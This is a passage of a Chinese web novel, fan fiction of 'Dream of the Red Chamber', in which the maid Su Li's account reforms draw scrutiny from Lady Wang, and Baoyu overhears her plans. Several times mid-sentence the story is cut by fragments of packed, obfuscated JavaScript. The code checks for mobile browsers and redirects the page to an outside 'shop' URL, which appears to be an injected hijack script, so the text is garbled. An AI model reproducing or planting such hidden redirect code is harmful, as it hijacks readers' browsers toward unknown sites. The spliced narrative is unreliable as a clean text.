0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908598|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤氏落后一步，悄悄拉了拉王熙凤的袖子，低声道：“妹妹今日受累了。老太太年纪大了，图个清净太平，有些话听听就罢，该怎么着还怎么着，只是……那丫头，确需仔细些。”她意指苏璃。 王熙凤勉强笑了笑：“谢大嫂提点，我省得。” 回到自己院里，王熙凤只觉得身心俱疲。贾母的态度暧昧不明，既认可省俭，又顾忌体面；既默许她用苏璃，又提醒她小心驾驭。这其中的分寸，极难把握。而邢夫人的挑衅，王夫人的沉默，尤氏的提醒，都让她感到一种无形的压力。 她独自坐在窗前，看着院子里被晒得发蔫的石榴花，心中第一次对重用苏璃产生了一丝动摇。这丫头，能力太强，锋芒太露，如今连老太太都注意到了。是福，也是祸。 消息很快传到苏璃耳中，是平儿悄悄告诉她的。平儿说完，担忧地看着她：“妹妹，老太太既然问了，往后你行事，更要加倍小心才是。” 苏璃点点头，心中并无太多波澜。贾母的问话在她意料之中。她如今所做之事，触及利益，改变规矩，若一直无人过问，反倒奇怪。贾母的态度，其实已算温和，至少没有直接否定。 但这温和之下潜藏的审视和疑虑，才是最麻烦的。这意味着她不能再像之前那样，借着王熙凤的绝对信任放手施为。她必须更低调，更谨慎，甚至……在某些时候，要学会“藏拙”。 然而，树欲静而风不止。 两日后，王熙凤将苏璃叫去，脸色比前日更加难看，将一封信摔在她面前：“你看看这个！” 苏璃拾起信，是金陵老宅那边一个老管事写来的，言辞恭敬，却暗藏机锋。信中除了例行禀报事务，竟“无意间”提及，听闻京中府里近来行事颇有新意，连宫中旧年赏赐的瓷器都“妥善处置”了，换得了不少实惠，夸赞王熙凤治家有方。末了，又“忧心”地提醒，御赐之物关乎天家颜面，即便府中再难，也需谨慎留存，以免落人口实，伤了老国公爷的体面。 这信看似关心，实则字字诛心！不仅点明了变卖御赐瓷器之事，更将此事拔高到了“损伤祖上体面”、“可能引来天家不悦”的可怕高度！ 苏璃手微微一颤，背脊窜上一股寒意。这事她自认做得隐秘，怎会传到金陵老宅？又是谁，用这般阴毒的方式，将此事捅到了王熙凤面前？ “奶奶，此事……”她急欲解释。 王熙凤疲惫地打断她：“我知道不是你泄露的。定是有人早就盯上了！如今连老宅那边都知道了，怕是……”她没说完，但眼中的忧虑清晰可见。 一波未平，一波又起…… 26. 王夫人心思 金陵老宅那封信，像一块冰，沉甸甸地坠在王熙凤心口，连日都化不开。 她面上依旧雷厉风行，处理家务，呵斥下人，与妯娌说笑，但只有贴身的平儿和日渐敏锐的苏璃能察觉到，那笑容底下的阴霾和偶尔走神时的凝重。 苏璃更是谨言慎行，除了必要回话，几乎将自己缩成一个影子。她知道，那封信的矛头看似指向王熙凤，实则是冲着她这个始作俑者来的。王夫人那里，必须有个态度了。这位平日里吃斋念佛、看似不管事的嫡母，她的心思，才是真正能定风波、也能起波澜的关键。 这日清晨，王夫人院里的玉钏儿过来传话，说太太请二奶奶得空过去一趟。王熙凤正对着一本账册出神，闻讯手中朱笔微微一顿，随即放下，脸上堆起笑：“我这就去。玉钏儿，太太今日精神可好？” 玉钏儿笑道：“奶奶放心，太太刚用了早膳，正看着小丫头们收拾佛堂呢，精神头挺好。” 王熙凤点点头，吩咐平儿看家，又似无意地瞥了一眼正在一旁安静整理信札的苏璃，什么也没说，便带着丰儿去了。 苏璃心知肚明，这场召见，必然与那封信有关。她垂眸，继续将各地庄子送来的年节禀帖按轻重缓急分类，动作一丝不乱，心中却如窗外微澜的池水，映着天光云影，也藏着暗流。 王夫人院里果然弥漫着一股淡淡的檀香气。佛堂刚清扫过，地面湿润，几个小丫鬟正轻手轻脚地擦拭着佛龛。王夫人并未在正房，而是坐在东次间临窗的暖炕上，手里捻着一串蜜蜡佛珠，面前小几上放着一本摊开的《金刚经》，经书旁，赫然便是那封惹事的信。 王熙凤进去，笑着请了安，在王夫人下首的绣墩上坐了。丰儿乖觉地退到门外廊下等候。 “凤丫头来了，”王夫人抬起眼，目光在她脸上停留一瞬，语气平和，“这几日瞧着你也清减了些，可是府里事务太繁重了？” “劳太太挂心，不过是些琐碎事，孙媳还应付得来。”王熙凤忙笑道，“倒是太太，近日天时不好，早晚寒气重，您可要仔细保养。” 王夫人“嗯”了一声，手指慢慢拨动着佛珠，目光落回那本经书上，仿佛随口问道：“前儿金陵老宅那边来信，你可看了？” 来了。王熙凤心下一紧，面上却不动声色：“看了。不过是些日常禀报，孙媳已按旧例回了信去。” “哦？”王夫人抬起眼，目光平静无波，却带着一种洞察的力度，“我恍惚听着，信里还提了别的事？说是京中府里近来行事利落，连些陈年旧物都处置得当，添了不少进益？” 王熙凤知道瞒不过，便斟酌着词句道：“回太太，确是有些。库房里些年久无用、白占地方的物件，孙媳想着堆着也是霉烂，便让人清理了一番，挑些能换钱的，悄悄处置了，所得银两都入了公账，也好贴补些日常用度。如今府里进项不比往年，能省一点是一点。” 她绝口不提苏璃，只将事情揽在自己身上。 王夫人静静听着，脸上看不出喜怒，只道：“懂得节俭是好事。咱们这样的人家，外表看着光鲜，内里的难处，自己知道。能想着开源节流，是你的苦心。” 这话听着是肯定，王熙凤心下稍安，正要谦逊几句，却听王夫人话锋一转，语气依旧平淡，却重若千钧： “只是，凤丫头，你要记住，咱们是勋贵世家，不是那等斤斤计较的商贾门户。有些体面，是老祖宗拿命挣下来的，比银子金贵。就比如这信里提到的……宫中旧年赏赐之物，即便式样老了，或是略有瑕疵，那也是天家的恩典，代表着祖上的荣光。 这些东西，可以收着不用，甚至可以传给子孙做个念想，却万不可轻易拿出去换做银钱。一来，恐惹人笑话，说咱们贾家已经到了变卖御赐之物度日的地步；二来，若被有心人拿去做文章，扣上个‘大不敬’或是‘怨望’的罪名，那便是倾家灭族之祸！” 最后几个字，王夫人说得极慢，每个字都像小锤子敲在王熙凤心上。她脸色微微发白，忙起身道：“太太教训的是！是孙媳考虑不周，只顾着眼前银钱，险些酿成大错！孙媳回去立刻严查，若有此类物件流出，无论如何也要追回！” 王夫人摆摆手，示意她坐下：“罢了，既然已经处置了，追回来反倒更惹眼。往后切记便是。我听说，这些事，是你跟前那个叫苏璃的丫头在经手？” 终于点到了名字。王熙凤心念电转，恭声答道：“是。那丫头在算学上有些天赋，人也还算细致，孙媳便让她帮着打理些杂项账目。库房清货的事，也是孙媳定了章程，她不过是跑腿办事。若有什么不妥，都是孙媳督导不严之过。” 她依旧将责任揽在自己身上，但也没完全否认苏璃的参与。 王夫人捻着佛珠，沉吟片刻，方道：“丫头聪明能干是好事，能为你分忧。但你要明白，奴才终究是奴才，再得用，也只是个器具。用得好，事半功倍；用得不好，或是持器之人反被器具所伤，便是主仆颠倒，乱了纲常。我冷眼瞧着，这丫头近来风头是有些过了，府里府外，她的名号响得很哪。” 王熙凤心中凛然，知道这才是王夫人今日敲打的真正核心。她低声道：“太太明鉴。孙媳也觉着她年纪轻，近来是有些张扬了。回去定好好约束，断不让她恃宠而骄，坏了府里规矩。” “嗯，”王夫人满意地点点头，语气缓和了些，“你明白就好。管家理事，恩威并施是根本。对底下人，该赏的要赏，该罚时也绝不能手软。尤其是这等有些才干的，心气往往也高，若不早早磨平了棱角，将来必成祸患。你可还记得……从前我身边的金钏儿？” 王熙凤心头一跳，忙道：“记得。” “金钏儿也是个伶俐的，跟了我那么多年，就因一时行为不谨，我说撵也就撵了。”王夫人语气淡漠，仿佛在说一件微不足道的小事，“没有什么人是不可替代的。主子给的脸面，能给她，也能收回来。这府里，离了谁，天也塌不下来。” 这话如同三九天的冰水，浇得王熙凤通体生寒。她知道，王夫人这是在明确地划下红线：苏璃可以用，但必须牢牢控制在手心，一旦有失控的迹象，或触及了根本利益和规矩，舍弃起来也绝不能犹豫。 “孙媳谨记太太教诲。”王熙凤深深低下头。 王夫人见她受教，便不再多言，转而问起宝玉近日的饮食起居，仿佛刚才那番暗流汹涌的对话从未发生过。又闲话了几句，王熙凤才告退出来。 走出王夫人的院子，初夏的阳光明晃晃地照在身上，王熙凤却觉得有些冷。丰儿见主子脸色不好，也不敢多问，默默跟在身后。 王熙凤回到自己院里，屏退了旁人，只留下平儿，将王夫人的话大致说了一遍，末了叹道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908599|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……太太这话，分明是听到了风声，对苏璃已生了忌惮之心。往后，咱们用她，得更小心了。” 平儿蹙眉道：“奶奶，太太的话在理。璃丫头确实能干，可树大招风。如今连老太太、太太都注意到她了，周瑞家的虽倒了，可这府里恨她、怕她的人不知还有多少。再让她像之前那样冲在前头，只怕……” 王熙凤烦躁地揉了揉眉心：“我何尝不知？只是如今府里这摊子，离了她，许多事还真就转不动。外面庄子铺子的账，里面各房的用度，还有库房那些七零八碎……平儿，你虽能干，也架不住这般千头万绪。她就像一把快刀，用好了，能斩乱麻；可用不好，也确实容易伤到自己。” 主仆二人都沉默下来。正在这时，外面小丫鬟报：“奶奶，苏璃姑娘来了，问奶奶可要现在看昨儿庄子送来的账目。” 王熙凤与平儿对视一眼，扬声道：“让她进来。” 苏璃捧着几本账册走了进来，神色如常，恭敬地行礼后将账册呈上：“奶奶，这是南边几个庄子新送来的夏粮预支账目，奴婢初步核对了，有几处数目似乎与往年惯例不符，已用朱笔标出，请奶奶过目。” 王熙凤接过账册，翻看着上面清晰工整的字迹和醒目的朱笔标注，心中更是复杂。这丫头，做事永远这般妥帖周到，让人挑不出错处，可越是如此，那份无形的压力就越大。 她合上账册，看着垂手侍立的苏璃，忽然问道：“苏璃，你如今在府里，也经手不少事了。可曾觉得……有什么难处？或是，有什么人让你觉得为难？” 苏璃心中一震，知道考验来了。她抬起头，目光清澈坦荡，声音平稳：“回奶奶的话，奴婢蒙奶奶信重，得以学习料理些许杂事，唯有尽心竭力，以报奶奶恩典。若有难处，也是奴婢学艺不精、思虑不周所致，当自行克服。至于旁人……奴婢谨记本分，只管做好奶奶交代的差事，不敢窥探，亦不敢与非分之人交往，并无人为难奴婢。” 她这话答得滴水不漏，既表了忠心，也撇清了自己结党营私的可能，将一切归于王熙凤的“信重”和自己的“本分”。 王熙凤盯着她看了片刻，忽然笑了笑，只是那笑容有些淡：“没有就好。你是个明白人，当知在这深宅大院里，什么该做，什么不该做；什么风头该出，什么风头出了会惹祸。往后……外面那些过于扎眼的事，你暂且放一放，多帮平儿打理些府内的日常账目就好。库房那边，我让林之孝家的暂时接手。” 这是明升暗降，收权了。苏璃心中了然，面上却无半分不满，恭顺应道：“是，奴婢遵命。平儿姐姐经验丰富，奴婢正可多多学习。” 王熙凤见她如此顺从，心下稍安，又安抚了几句，便让她退下了。 苏璃退出房门，走在回廊下，阳光将她身影拉得细长。她知道，经王夫人一番敲打，王熙凤不得不收紧手中的线。她这只风筝，飞得再高，线头始终攥在别人手里。之前的“开源节流策”，尤其是变卖库房旧物这一项，恐怕要就此搁浅，至少，她不能再作为主导了。 然而，她并未感到多少失落。蛰伏，是为了更好地积蓄力量。王夫人的忌惮，恰恰证明了她如今的价值和存在感。只要核心的账目管理权还在手中，只要王熙凤在财政上依旧依赖她的能力，她就还有辗转腾挪的空间。 只是，树欲静而风不止。 27. 宝玉与黛玉 自那日从王夫人院里回来，苏璃果然收敛了许多。 外头庄子铺子的事情，渐渐交还给林之孝家的并几个管事媳妇，她只每日在屋里，帮着平儿核对些府内月例、各房用度的细账，或是将陈年旧账重新誊录整理。闲时便只在自己那小小耳房内，或临帖，或做些针黹，轻易不出二门。 偶尔遇上回事的媳妇婆子，也多是垂首静听，话比往日更少了三分。府里那些或明或暗盯着她的眼睛，见她这般安静，议论声便也渐渐低了下去。凤姐冷眼瞧着，心下稍安，待她倒比先前更显宽和，常有赏赐。 这日午后，黛玉吃了药，歪在碧纱橱里，只觉得身上懒懒的，心口也闷闷的，说不出的烦恶。紫鹃端了温水来漱口，又递上一盅温着的燕窝粥，劝道：“姑娘好歹用两口，这粥炖了快两个时辰，最是润肺的。” 黛玉摇摇头，推开那小巧的甜白瓷盅，目光落在窗外。几竿翠竹被午后的阳光照得通透，风过时，飒飒作响，影子在茜纱窗上摇曳不定，搅得她心头那点无名惆怅，也跟着晃悠悠的，没个着落处。 忽又想起早起听雪雁说，前儿宝玉得了个什么新奇玩意儿，巴巴地先送了去宝姐姐那里。她本不是那等小性儿的人，不知怎的，这话听了，却像根细刺，梗在喉咙里，上不去下不来。 正自出神，忽听得外面小丫鬟笑道：“宝二爷来了！” 帘栊响动，宝玉已走了进来。他今日穿了件家常的雨过天青色云纹长衫，并未束冠，只用一根玉簪绾了发，脸上带着笑，手里却似乎没拿什么东西。 紫鹃忙迎上去，黛玉只微微直起身，看了他一眼，又别过脸去，望着窗外竹子，淡淡道：“你怎得空来了？不是得了什么好东西，赶着给人送去么？” 宝玉一愣，随即明白过来，脸上笑容更深，挨着炕沿坐下，道：“我就知道，又是谁在你跟前嚼舌根了。哪里是什么好东西，不过是个外头带来的粗糙鲁班锁，顽意儿罢了。前儿顺路，就先给了宝姐姐。原是想着，你身子弱，不耐这些费心思的东西，若真要，我那里有个更好的，是北静王爷赏的象牙嵌玉的九连环，精巧无比，一直给你留着呢。” 说着，便从袖中取出一个锦缎小盒，打开来，里面果然是一副玲珑剔透的九连环，象牙为骨，中间嵌着温润白玉，缠丝工艺，在午后光线里流转着柔和的光泽，一看便知不是凡品。 黛玉眼波往那盒子里一溜，心中那点芥蒂已消了大半，嘴上却不肯饶：“谁稀罕你的东西。我不过白问一句，你就扯出这一大篇话来。什么鲁班锁、九连环，与我什么相干。” 宝玉见她虽仍嗔着，语气已软和下来，眉眼间那点轻愁也淡了，心中欢喜，将盒子放在她手边小几上，笑道：“是是是，原是我的不是。这东西也不值什么，只给你解个闷。你这几日气色倒像好些，可还咳嗽？” “老样子罢了。”黛玉道，顺手拿起那九连环，触手温润，果然精巧，便试着解了一下，一时却不得法。 宝玉见她低头摆弄，一缕柔丝从鬓边滑落，衬得那白皙侧脸越发清减，心中蓦地一疼，脱口道：“妹妹近日饮食可好？我瞧着你比先前又瘦了些。若想吃什么，玩什么，只管告诉我，或是告诉老太太、太太，千万别委屈着自己。” 这话说得恳切，黛玉手中动作微顿，心头一暖，那股郁结之气散了许多，抬头看他一眼，轻声道：“我有什么委屈的。外祖母、舅母待我极好，姐妹们也都和气。只是我自己这身子不争气罢了。” “快别这么说，”宝玉忙道，“正是要放宽心，好生将养才是。我前日读《庄子》，看到一句‘泉涸，鱼相与处于陆，相呴以湿，相濡以沫，不如相忘于江湖’，心里倒有些感触。咱们日日在一处，原该高高兴兴的才是，若都像那离了水的鱼，彼此看着难过，反倒不好。” 他本意是劝黛玉开心，莫要自苦。谁知黛玉心思细腻敏感，于这“相忘于江湖”几字上略一停留，品出些别的意味来，心想：“他如今大了，见识的人多了，自是觉得姊妹兄弟们整日一处，反倒拘束了？或是嫌我多心、小性儿，觉得不如‘相忘’来得自在？”如此一想，方才暖过来的心，又凉了下去，脸色也淡了，将那九连环轻轻放回盒中，道：“你说的是。‘相忘于江湖’，自是洒脱。我这般病骨支离的，原也累人记挂。” 宝玉见她神色倏然冷淡，语气也疏离起来，不由慌了，不知哪句话又得罪了她，急道：“妹妹，我……我不是那个意思！我是说……” “是什么都不要紧。”黛玉打断他，觉得喉头又有些痒，掩口低低咳嗽了两声，神色倦怠，“我有些乏了，想歪一会儿。你且去罢，看过了我，也该去瞧瞧别的姊妹。” 紫鹃在一旁听着，知道二人话不投机，又拧上了，忙上前打圆场：“二爷好心来看姑娘，姑娘怎么倒撵起客来。姑娘，药快好了，要不让二爷坐坐，说会子话？” “不了，”黛玉已翻身向里，拉过一幅薄绫被盖在身上，声音闷闷的，“让他自去忙罢。” 宝玉站在炕前，进退不得，心里又急又愧，看着黛玉单薄的背影，想说些什么，又怕再说错话，只讷讷道：“那……妹妹好生歇着，我晚些再来看你。”又对紫鹃道：“好生服侍姑娘。”这才一步三回头地去了。 出了潇湘馆，宝玉心中郁郁，信步乱走。不知不觉，竟走到靠近凤姐院后的一处小穿堂附近。 这里僻静，少人来往，只听得墙内隐约有算盘珠子清脆的响声，和低低的说话声。他认得这是凤姐姐院后小厢房的位置，平日有些管事的媳妇在此回事。正欲走开，忽听一个清凌凌的女子声音传来，虽压得低，却条理分明： “……赵姨娘屋里上个月领的冰，账面是十五斤，可她对牌记录只有十斤。厨房支取茯苓霜的份例，也与她屋里的丫头金钏儿说的数目差了二两。虽都是小东西，但各处这般积少成多，对牌与实物便对不上。账上看来是各处都按例给了，实则底下人手里短了，怨气便积在管事的人身上。如今是凤奶奶当家，这些窟窿，最后恐怕还得从奶奶的体己里，或是公账的别处挪补，方能平了。” 这声音，宝玉依稀记得，像是凤姐姐身边那个叫苏璃的丫头。他原不甚理会这些俗务，此刻听了，却觉得这话说得清楚明白，将那藏着的弊病一下点了出来。 又听另一个妇人声音，似乎是林之孝家的，叹气道：“谁说不是呢！可这都是多年积弊，牵丝扳藤的，哪一房没有几个体面老人在里头？动一个，便扯出一串。如今连太太都发了话，要安稳些。凤奶奶也是这个意思，多一事不如少一事。” 那清凌声音顿了顿，方道：“妈妈说得是。只是我想着，堵不如疏。既然对牌与实物有差，不如索性将这差额定下个章程。譬如冰例，各房按份例领对牌，但实领时，允许有半斤以内的损耗折银补贴，计入公账开销。茯苓霜等物亦可类比。 明面上给了补贴的由头，实则是将暗处的亏空摆到明处，纳入规制。领物的人得了实惠，自然无话；公账多了这笔开销，却省了日后扯皮挪补的麻烦，也绝了那些管事中间克扣的想头。只是这定额需仔细核算，不能太过，反倒成了滥赏。” 林之孝家的似乎迟疑：“这……这能行吗？若各房都来要这‘折银’，岂不是开销更大了？” “妈妈，”那声音更沉稳了些，“这定额是死的，且只针对对牌与实物有亏的情形。以往他们暗中克扣，岂止这定额之数？且那是无底洞。 如今定额明补，他们得了好处，为着长远，反而会收敛，不敢再如以往那般肆意妄为，否则这明面的补贴便可能取消。此为以退为进，划下道来，总比混沌着，处处漏风，最后扯不清的强。奶奶若问起，或可只说是为平各房怨气，省却口舌，想来老太太、太太也能体谅。” 话音至此，便低了，渐渐听不分明。 宝玉立在穿堂阴凉处，夏日熏风拂过，却觉得那清清冷冷几句话，比方才在潇湘馆的憋闷更让他恍惚。 他素来厌弃经济仕途，憎恶那些算计锱铢的“禄蠹”，可这丫头寥寥数语，剖开的却似乎是这繁华府邸锦绣幔帐后，另一张疲惫而真实的面孔：一张需要不断缝补、算计才能维持体面的面孔。他想起了凤姐姐时常的焦躁，想起了下人间那些说不清道不明的抱怨，甚至想起了自己屋里，有时茶点不如意，小丫头们的嘀嘀咕咕。 原来，这诗酒风流的背后，是这样运转的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908600|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来，林妹妹那些无端的烦恼，自己那些不切实际的痴想，都悬在这张精密又脆弱的网上。那丫头的声音平静无波，却像一把薄而利的小刀，划开了一角让他窥见内里。 他忽然有些明白，为何探春妹妹有时理事，会那般凝重；也模糊地觉得，林妹妹那“一年三百六十日，风刀霜剑严相逼”的感慨，并非全是诗意的夸张。 正怔忡间，忽听那边门响，有人走了出来。宝玉不欲打照面，忙闪身避到穿堂另一侧的太湖石后。只见林之孝家的和一个穿着淡青比甲、容颜清丽的丫鬟走了出来，正是苏璃。 她手里拿着两本账册，正低声与林之孝家的说着什么，侧脸在午后光影里，平静而专注，与方才在潇湘馆内赌气伤神的林妹妹，仿佛是两重世界的人。 两人并未停留，径直往前头去了。宝玉从石后转出，望着她们消失在月洞门后的背影，心头那点因黛玉而起的烦闷，竟被一种更庞大、更茫然的情绪淹没了。他忽然想起方才黛玉那句“我这般病骨支离的，原也累人记挂”，又想起苏璃口中那些需要精密计算的“折银”、“定额”、“亏空”，只觉得这园子里的风，暖洋洋的，却吹得人浑身发冷。 他没了闲逛的心思，低头看了看自己身上光洁柔软的云锦衣袍，又想起北静王所赠那价值不菲的九连环，再想到那“十五斤冰”与“十斤冰”之间的五斤差额，心头一阵莫名的窒闷。原来他平日视若寻常的衣食玩好，背后是这样一番他从未留心、也无力改变的乾坤。 不知不觉，他又踱回了怡红院附近。院门口，袭人正倚着门张望，见他回来，脸上露出温和的笑，迎上来道：“我的爷，这大日头底下，又到哪里逛去了？快进来歇歇，吃碗冰镇莲子羹。” 看着袭人温柔关切的脸，宝玉心下稍安，随着她进去。屋内阴凉，甜白瓷碗里盛着莹润的羹汤，散发着丝丝凉气。他接过，却有些食不知味。 袭人见他神色怔忡，不像往日从黛玉处回来时或喜或嗔的模样，便柔声问：“二爷这是从林姑娘那儿来？怎么像有心事？” 宝玉放下碗，叹了口气，没头没脑地问：“袭人，你说，咱们屋里，每个月用的冰，是多少斤？” 袭人一愣，笑道：“好端端的，怎么问起这个来？这都是有定例的，咱们屋里份例厚些，总短不了。二爷热了？我让他们再多拿一盆来。” “不必了。”宝玉摇摇头，望着窗外灼灼的日光，那清凌凌的算计声音似乎还在耳边。他忽然抓住袭人的手，急切道：“好姐姐，你跟我说实话，平日你们月钱，或是领什么东西，可有过短了少了、不如意的？可有谁……克扣过你们不曾？” 袭人被他问得愕然，见他神色认真，不似玩笑，便斟酌道：“二爷怎么忽然想起问这些？咱们屋里，有二爷的面子在，又有老太太、太太看着，大体上自然是好的。便偶有些小不如意，也是底下人办事不经心，或是各处都有难处，谁还计较那些呢？”她语焉不详，但眉眼间一丝几不可察的无奈，却让宝玉心里更沉了。 原来，真的并非全然如意。只是她们不说，他便不知，或不愿知。 这一刻，宝玉只觉得往日熟悉的怡红院，也显得有些陌生起来。那精致的陈设，体贴的丫鬟，可口的饮食，似乎都罩上了一层他刚刚窥见的、名为“算计”的薄纱。而潇湘馆里，林妹妹那带着药香的、纯粹的愁与嗔，竟成了这层薄纱下，唯一真切而让他心颤的存在。 只是，这份“真切”，又能在这无处不在的“算计”缝隙里，存活多久呢？他想起苏璃那句“以退为进，划下道来”，又想起林妹妹那句“相忘于江湖”，心头乱麻一般，理不出个头绪。那碗冰镇莲子羹，渐渐凝出了一层水雾，凉意透过瓷碗，沁入掌心，却驱不散他心头的烦乱。 他这里兀自出神，却不知方才穿堂边那一番话，虽是无心听来，却像一颗投入静湖的石子，涟漪荡开，迟早要波及更远。 而那献策之人，此刻正将重新核算过的“折银”章程草案，悄然递到了平儿手中，等待着下一个合适的时机。 凤姐院内的算盘声，依旧不紧不慢地响着，仿佛在计算着这深宅大院里，每一个人、每一件物的价值与代价。 28. 府内人言 宝玉自那日无意间听了苏璃与林之孝家的一番话，心中便像被投下了一颗小石子，荡开圈圈涟漪，几日都不得宁静。 他素日厌烦经济仕途，只觉那些算计银钱、料理庶务之事，最是俗不可耐，沾惹了便污了清白心地。可如今，这府里最隐秘、最实际的运转之一角，就这般突兀地摊开在他眼前，逼着他去看，去思量。 他不再像往常那般，只在园中与姊妹们嬉戏，或沉溺于《西厢》《牡丹》的才子佳人、奇情艳曲之中。 偶尔，他会怔怔地看着丫鬟们端上来的精致点心，想着这背后需要多少米面、糖油，经过几道手，克扣多少，才能到他面前；看到小丫头们领月钱时欢喜的模样，也会想起那“对牌”与“实物”之间的差距，想着那叫苏璃的丫头口中“平各房怨气”的算计。 这日，他去给王夫人请安，恰逢王夫人正与凤姐商议事情。他请了安，便安静坐在一旁吃茶。只听凤姐回道：“……城南庄子上送来的夏租，比往年短了两成，说是今年雨水不匀，收成略差些。但依媳妇看，只怕也不尽然，那庄头历来滑头。” 王夫人捻着佛珠，淡淡道：“庄户人家也不易，只要不太过分，便睁只眼闭只眼罢。倒是府里如今用度，我瞧着似乎比先前紧凑了些，各房也没听见什么大抱怨，你辛苦了。” 凤姐笑道：“太太说哪里话，原是分内的事。如今不过是把账目理得更清楚些，该省的省，该花的花，银子用在刀刃上，底下人月钱按时足额发放，他们自然无话。只是……”她顿了顿，似有难色，“有些积年的老例，改动起来，难免触动些人利益，背地里有些闲言碎语，也是有的。” 王夫人眼皮微抬：“哦？都说什么？” 凤姐笑了笑，那笑意却未达眼底：“无非是说我刻薄，说如今规矩大，不如以往宽松。还有些话，牵扯到媳妇跟前用的几个人，说她们仗着主子信任，如何如何。媳妇只当是耳旁风，办好差事是正经。” 王夫人沉默片刻，方道：“治家如治国，宽严相济是正理。你年轻，雷厉风行些也是有的，但需记得‘水至清则无鱼’。有些老人，面子还是要给的。至于底下人，忠心办事的自然要抬举，但若真有那等持宠而骄、不安分的，也该敲打敲打，免得尾大不掉。” “是，媳妇谨记太太教诲。”凤姐恭声应道。 宝玉在一旁听着，心中恍然。原来凤姐姐管家，也有这许多难处，并非表面看来那般威风八面。那些“闲言碎语”，想必就包括了对苏璃的非议。 他不由得想起那日苏璃冷静分析利弊的声音，那般清晰透彻，倒不像个“持宠而骄”的，反像个……像个运筹帷幄的谋士。只是，这谋士是个女子，又是个丫鬟，便注定要承受更多明枪暗箭。 从王夫人处出来，宝玉心中闷闷，信步往园子里去。路过沁芳闸附近，见几个小丫头正坐在溪边石上说话，其中一个穿着水红绫袄的，是老太太屋里的傻大姐，正咧着嘴，手舞足蹈地说着什么。宝玉素知她心性愚顽，口无遮拦，便放慢脚步，隐在一株海棠树后。 只听傻大姐笑道：“……可好笑哩！我前儿听厨房张妈说，如今咱们府里发月钱，都要按手印儿了！连周瑞大娘那样的体面人，都按了！说是什么……璃姑娘立的新规矩！” 另一个小丫头好奇问：“璃姑娘？可是二奶奶跟前那个会算账的？她立这规矩做甚？” “谁知道呢！”傻大姐撇撇嘴，“张妈说，这是防着底下人贪钱哩！还说，如今连各房主子用点东西，都要记档，麻烦死了！比以前琏二奶奶刚管家时还厉害！” 又一个年纪略大的丫头压低声音道：“快别浑说！我听说，这位璃姑娘本事大着呢！连东府珍大奶奶都请她去理过账，把赖升那样的大管家都治得服服帖帖。如今在咱们府里，更是二奶□□一份的信重！你们没见，连平姑娘都和她姐妹相称？她的话，如今跟二奶奶的话也差不离了！” “呀！这么厉害？”小丫头们咋舌。 “厉害是厉害，”那大丫头声音更低了，带着几分神秘，“可也招人恨哪！断了多少人的财路！我听说，赵姨娘屋里，为着几两银子的开销，都被卡了回来，赵姨娘气得在屋里骂了好几天呢！还有啊……”她凑近些，“听说琏二爷前儿要支银子，都被驳了回来，二爷恼得什么似的！你们想，二爷都这样，底下那些管事奶奶们，能不恨得牙痒痒？” 傻大姐听得懵懂，只拍手笑道：“有趣有趣！按手印儿，像衙门里画押似的！” 宝玉在树后听着，心中波澜起伏。他这才知道，苏璃竟已到了这般“权倾内外”的地步，连琏二哥都敢驳斥。 而府中对她，竟是这般毁誉参半，暗流汹涌。他想起那日凤姐姐在王夫人面前轻描淡写说的“闲言碎语”，原来竟是这般具体而尖锐。这深宅大院，果然是一张无形的网，稍有不慎，便会被缠得窒息。 他正暗自嗟叹，忽听那边小丫头们一阵慌乱，纷纷站起来道：“平姑娘！” 只见平儿带着两个小丫鬟，从那边路上走了过来，脸上带着惯常的温和笑容：“大日头底下，不去歇着，在这里嚼什么舌头根子？仔细叫嬷嬷们听见了捶你们！” 小丫头们吐吐舌头，一哄而散。傻大姐也嘻嘻哈哈地跑了。 平儿目光扫过宝玉藏身的海棠树，似是未见，径直走了过去。 宝玉从树后转出，望着平儿远去的背影，心知方才那些话，她必定是听见了。以平儿之细心，岂会不知府中流言？她这般不轻不重地呵斥一句，既是约束下人，也是……一种变相的回护吗？回护凤姐姐，也回护那个被推至风口浪尖的苏璃？ 他忽然觉得，这府里的人际关系，远比他想象的要复杂微妙。凤姐与平儿，主仆情深，却又似乎各有心思；凤姐重用苏璃，是真心倚仗，还是……将其作为一把刀，一枚棋子？而平儿对苏璃，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宝玉心中一动，忙道：“这是自然。”鸳鸯又说了几句闲话，便去了。 袭人送走鸳鸯，回来见宝玉若有所思，便笑道：“这倒奇了，往日这等小事，老太太断不会特意吩咐。看来这位璃姑娘，如今真是入了老太太的眼了。” 宝玉不语，心中却如明镜一般。老太太此举，看似是让苏璃伺候宴会，实则是借机让她在薛姨妈、宝钗等客人面前露脸，是一种不动声色的抬举和认可。这是在用行动，回应府里那些针对苏璃的“闲言碎语”呢！老太太终究是偏心凤姐姐的，苏璃是凤姐姐的人，抬举苏璃，便是支持凤姐姐管家。 